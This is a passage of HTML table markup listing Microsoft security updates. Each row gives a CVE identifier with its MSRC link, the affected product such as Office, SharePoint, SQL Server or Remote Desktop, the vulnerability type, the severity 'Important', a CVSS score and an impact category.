  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55135"><span>CVE-2026-55135</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56157"><span>CVE-2026-56157</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47296"><span>CVE-2026-47296</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55002"><span>CVE-2026-55002</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47295"><span>CVE-2026-47295</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50468"><span>CVE-2026-50468</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54116"><span>CVE-2026-54116</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42900"><span>CVE-2026-42900</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49784"><span>CVE-2026-49784</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50356"><span>CVE-2026-50356</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49165"><span>CVE-2026-49165</span></a></td>
  <td width="256" class="xl74">Microsoft Windows App
  Store Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54993"><span>CVE-2026-54993</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58610"><span>CVE-2026-58610</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55050"><span>CVE-2026-55050</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55124"><span>CVE-2026-55124</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55142"><span>CVE-2026-55142</span></a></td>
  <td width="256" class="xl74">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55032"><span>CVE-2026-55032</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55055"><span>CVE-2026-55055</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55038"><span>CVE-2026-55038</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55134"><span>CVE-2026-55134</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55128"><span>CVE-2026-55128</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55130"><span>CVE-2026-55130</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50359"><span>CVE-2026-50359</span></a></td>
  <td width="256" class="xl74">Microsoft XML Core
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57097"><span>CVE-2026-57097</span></a></td>
  <td width="256" class="xl74">Microsoft XML Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50346"><span>CVE-2026-50346</span></a></td>
  <td width="256" class="xl74">Netlogon RPC Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50402"><span>CVE-2026-50402</span></a></td>
  <td width="256" class="xl74">NTFS Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50506"><span>CVE-2026-50506</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45646"><span>CVE-2026-45646</span></a></td>
  <td width="256" class="xl74">OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54989"><span>CVE-2026-54989</span></a></td>
  <td width="256" class="xl74">Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50365"><span>CVE-2026-50365</span></a></td>
  <td width="256" class="xl74">Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54990"><span>CVE-2026-54990</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58594"><span>CVE-2026-58594</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><span>CVE-2026-56190</span></a></td>
  <td width="256" class="xl74">Remote Desktop
  Protocol Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49783"><span>CVE-2026-49783</span></a></td>
  <td width="256" class="xl74">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42990"><span>CVE-2026-42990</span></a></td>
  <td width="256" class="xl74">SQL Server ODBC driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49168"><span>CVE-2026-49168</span></a></td>
  <td width="256" class="xl74">Storage Spaces Direct
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48581"><span>CVE-2026-48581</span></a></td>
  <td width="256" class="xl74">Surface Broker SDMA
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49180"><span>CVE-2026-49180</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50455"><span>CVE-2026-50455</span></a></td>
  <td width="256" class="xl74">Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54111"><span>CVE-2026-54111</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58543"><span>CVE-2026-58543</span></a></td>
  <td width="256" class="xl74">Universal Print
  Management Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
